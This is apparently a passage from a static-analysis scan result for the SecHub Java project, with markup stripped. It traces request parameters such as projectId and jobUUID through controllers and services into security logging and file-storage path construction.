report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 14 + 8 + report + + 6 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 51 + 31 + 9 + report + + 6 + + + 51 + return new ScanReportResult(report); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 59 + 37 + 10 + report + + 6 + + + 59 + public ScanReportResult(ScanReport report) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 62 + 18 + 12 + report + + 6 + + + 62 + trafficLight = report.getTrafficLightAsString(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 64 + 42 + 13 + report + + 6 + + + 64 + result = SecHubResult.OBJECT.fromJSON(report.getResult()); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 70 + 117 + 14 + report + + 6 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + com/daimler/sechub/domain/scan/report/ScanReport.java + 92 + 10 + 15 + result + + 6 + + + 92 + return result; + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 70 + 133 + 16 + getResult + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 70 + 13 + 17 + error + + 1 + + + 70 + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 51 + 34 + 1 + jobUUID + + 7 + + + 51 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 54 + 43 + 2 + jobUUID + + 7 + + + 54 + return fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 60 + 6 + jobUUID + + 7 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 59 + 7 + findBySecHubJobUUID + + 1 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 14 + 8 + report + + 6 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 46 + 45 + 9 + report + + 6 + + + 46 + assertService.assertUserHasAccessToReport(report); + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 19 + 53 + 10 + report + + 6 + + + 19 + public void assertUserHasAccessToReport(ScanReport report) { + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 23 + 32 + 11 + report + + 6 + + + 23 + assertUserHasAccessToProject(report.getProjectId()); + + + + + com/daimler/sechub/domain/scan/report/ScanReport.java + 96 + 10 + 12 + projectId + + 9 + + + 96 + return projectId; + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 23 + 51 + 13 + getProjectId + + 1 + + + 23 + assertUserHasAccessToProject(report.getProjectId()); + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 27 + 50 + 14 + projectId + + 9 + + + 27 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 35 + 53 + 15 + projectId + + 9 + + + 35 + userAccessValidation.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/scan/access/ScanUserAccessToProjectValidationService.java + 30 + 50 + 16 + projectId + + 9 + + + 30 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/scan/access/ScanUserAccessToProjectValidationService.java + 40 + 133 + 17 + projectId + + 9 + + + 40 + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'scan'. userId={},projectId={}",userId,projectId); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 25 + 56 + 18 + objects + + 6 + + + 25 + public void log(SecurityLogType type, String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 29 + 19 + objects + + 7 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 28 + 20 + asList + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 14 + 21 + addAll + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 20 + 22 + list + + 4 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 32 + 23 + toArray + + 1 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 12 + 24 + array + + 5 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 39 + 25 + array + + 5 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 11 + 26 + info + + 1 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 64 + 34 + 1 + jobUUID + + 7 + + + 64 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 66 + 2 + jobUUID + + 7 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 60 + 6 + jobUUID + + 7 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 59 + 7 + findBySecHubJobUUID + + 1 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 14 + 8 + report + + 6 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 46 + 45 + 9 + report + + 6 + + + 46 + assertService.assertUserHasAccessToReport(report); + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 19 + 53 + 10 + report + + 6 + + + 19 + public void assertUserHasAccessToReport(ScanReport report) { + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 23 + 32 + 11 + report + + 6 + + + 23 + assertUserHasAccessToProject(report.getProjectId()); + + + + + com/daimler/sechub/domain/scan/report/ScanReport.java + 96 + 10 + 12 + projectId + + 9 + + + 96 + return projectId; + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 23 + 51 + 13 + getProjectId + + 1 + + + 23 + assertUserHasAccessToProject(report.getProjectId()); + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 27 + 50 + 14 + projectId + + 9 + + + 27 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/scan/ScanAssertService.java + 35 + 53 + 15 + projectId + + 9 + + + 35 + userAccessValidation.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/scan/access/ScanUserAccessToProjectValidationService.java + 30 + 50 + 16 + projectId + + 9 + + + 30 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/scan/access/ScanUserAccessToProjectValidationService.java + 40 + 133 + 17 + projectId + + 9 + + + 40 + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'scan'. userId={},projectId={}",userId,projectId); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 25 + 56 + 18 + objects + + 6 + + + 25 + public void log(SecurityLogType type, String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 29 + 19 + objects + + 7 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 28 + 20 + asList + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 14 + 21 + addAll + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 20 + 22 + list + + 4 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 32 + 23 + toArray + + 1 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 12 + 24 + array + + 5 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 39 + 25 + array + + 5 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 11 + 26 + info + + 1 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 65 + 69 + 1 + projectId + + 9 + + + 65 + public SchedulerResult createJob(@PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 67 + 37 + 2 + projectId + + 9 + + + 67 + return createJobService.createJob(projectId, configuration); + + + + + com/daimler/sechub/domain/schedule/SchedulerCreateJobService.java + 37 + 42 + 3 + projectId + + 9 + + + 37 + public SchedulerResult createJob(String projectId, @Valid SecHubConfiguration configuration) { + + + + + com/daimler/sechub/domain/schedule/SchedulerCreateJobService.java + 44 + 46 + 4 + projectId + + 9 + + + 44 + assertService.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 34 + 50 + 5 + projectId + + 9 + + + 34 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 35 + 53 + 6 + projectId + + 9 + + + 35 + userAccessValidation.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 29 + 50 + 7 + projectId + + 9 + + + 29 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 39 + 137 + 8 + projectId + + 9 + + + 39 + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'schedule'. userId={},projectId={}",userId,projectId); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 25 + 56 + 9 + objects + + 6 + + + 25 + public void log(SecurityLogType type, String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 29 + 10 + objects + + 7 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 28 + 11 + asList + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 14 + 12 + addAll + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 20 + 13 + list + + 4 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 32 + 14 + toArray + + 1 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 12 + 15 + array + + 5 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 39 + 16 + array + + 5 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 11 + 17 + info + + 1 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 78 + 39 + 1 + projectId + + 9 + + + 78 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 34 + 2 + projectId + + 9 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 38 + 3 + projectId + + 9 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 43 + 46 + 4 + projectId + + 9 + + + 43 + assertService.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 34 + 50 + 5 + projectId + + 9 + + + 34 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 35 + 53 + 6 + projectId + + 9 + + + 35 + userAccessValidation.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 29 + 50 + 7 + projectId + + 9 + + + 29 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 39 + 137 + 8 + projectId + + 9 + + + 39 + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'schedule'. userId={},projectId={}",userId,projectId); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 25 + 56 + 9 + objects + + 6 + + + 25 + public void log(SecurityLogType type, String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 29 + 10 + objects + + 7 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 28 + 11 + asList + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 14 + 12 + addAll + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 20 + 13 + list + + 4 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 32 + 14 + toArray + + 1 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 12 + 15 + array + + 5 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 39 + 16 + array + + 5 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 11 + 17 + info + + 1 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 95 + 39 + 1 + projectId + + 9 + + + 95 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 97 + 32 + 2 + projectId + + 9 + + + 97 + approveJobService.approveJob(projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java + 30 + 32 + 3 + projectId + + 9 + + + 30 + public void approveJob(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/schedule/SchedulerApproveJobService.java + 34 + 46 + 4 + projectId + + 9 + + + 34 + assertService.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 34 + 50 + 5 + projectId + + 9 + + + 34 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 35 + 53 + 6 + projectId + + 9 + + + 35 + userAccessValidation.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 29 + 50 + 7 + projectId + + 9 + + + 29 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 39 + 137 + 8 + projectId + + 9 + + + 39 + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'schedule'. userId={},projectId={}",userId,projectId); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 25 + 56 + 9 + objects + + 6 + + + 25 + public void log(SecurityLogType type, String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 29 + 10 + objects + + 7 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 28 + 11 + asList + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 14 + 12 + addAll + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 20 + 13 + list + + 4 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 32 + 14 + toArray + + 1 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 12 + 15 + array + + 5 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 39 + 16 + array + + 5 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 11 + 17 + info + + 1 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 108 + 38 + 1 + projectId + + 9 + + + 108 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 112 + 40 + 2 + projectId + + 9 + + + 112 + return jobStatusService.getJobStatus(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerGetJobStatusService.java + 23 + 47 + 3 + projectId + + 9 + + + 23 + public ScheduleJobStatus getJobStatus(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/schedule/SchedulerGetJobStatusService.java + 27 + 46 + 4 + projectId + + 9 + + + 27 + assertService.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 34 + 50 + 5 + projectId + + 9 + + + 34 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/ScheduleAssertService.java + 35 + 53 + 6 + projectId + + 9 + + + 35 + userAccessValidation.assertUserHasAccessToProject(projectId); + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 29 + 50 + 7 + projectId + + 9 + + + 29 + public void assertUserHasAccessToProject(String projectId) { + + + + + com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java + 39 + 137 + 8 + projectId + + 9 + + + 39 + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'schedule'. userId={},projectId={}",userId,projectId); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 25 + 56 + 9 + objects + + 6 + + + 25 + public void log(SecurityLogType type, String message, Object ...objects ) { + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 29 + 10 + objects + + 7 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 28 + 11 + asList + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 35 + 14 + 12 + addAll + + 1 + + + 35 + list.addAll(Arrays.asList(objects)); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 20 + 13 + list + + 4 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 32 + 14 + toArray + + 1 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 37 + 12 + 15 + array + + 5 + + + 37 + Object[] array = list.toArray(); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 39 + 16 + array + + 5 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + com/daimler/sechub/sharedkernel/logging/SecurityLogService.java + 38 + 11 + 17 + info + + 1 + + + 38 + LOG.info(SECURITY_USERNAME+message, array); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 78 + 39 + 1 + projectId + + 9 + + + 78 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 34 + 2 + projectId + + 9 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 38 + 3 + projectId + + 9 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 56 + 4 + projectId + + 9 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 44 + 5 + projectId + + 9 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 42 + 6 + projectId + + 9 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 46 + 7 + projectId + + 9 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 36 + 8 + projectId + + 9 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 35 + 9 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 3 + 15 + jobStorage + + 10 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 16 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 17 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 3 + 18 + jobStorage + + 10 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 51 + 35 + 19 + jobStorage + + 10 + + + 51 + assertCheckSumCorrect(checkSum, jobStorage); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 56 + 65 + 20 + jobStorage + + 10 + + + 56 + private void assertCheckSumCorrect(String checkSum, JobStorage jobStorage) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 57 + 60 + 21 + jobStorage + + 10 + + + 57 + if (! checksumSHA256Service.hasCorrectChecksum(checkSum, jobStorage.getAbsolutePath(SOURCECODE_ZIP))) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 22 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 23 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 57 + 86 + 24 + getAbsolutePath + + 1 + + + 57 + if (! checksumSHA256Service.hasCorrectChecksum(checkSum, jobStorage.getAbsolutePath(SOURCECODE_ZIP))) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 59 + 4 + 25 + jobStorage + + 10 + + + 59 + jobStorage.deleteAll(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 107 + 9 + 26 + path + + 4 + + + 107 + if (! path.toFile().exists()) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 112 + 37 + 27 + path + + 4 + + + 112 + LOG.info("deleted all inside {}",path); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 112 + 12 + 28 + info + + 1 + + + 112 + LOG.info("deleted all inside {}",path); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 79 + 35 + 1 + jobUUID + + 7 + + + 79 + @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 44 + 2 + jobUUID + + 7 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 54 + 3 + jobUUID + + 7 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 67 + 4 + jobUUID + + 7 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 60 + 5 + jobUUID + + 7 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 52 + 6 + jobUUID + + 7 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 62 + 7 + jobUUID + + 7 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 55 + 8 + jobUUID + + 7 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 71 + 9 + toString + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 54 + 10 + resolve + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 43 + 7 + 11 + path + + 1 + + + 43 + this.path = rootLocation.resolve(projectId).resolve(jobUUID.toString()); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 13 + 12 + JobStorage + + 3 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 13 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 14 + jobStorage + + 10 + + + 47 + JobStorage 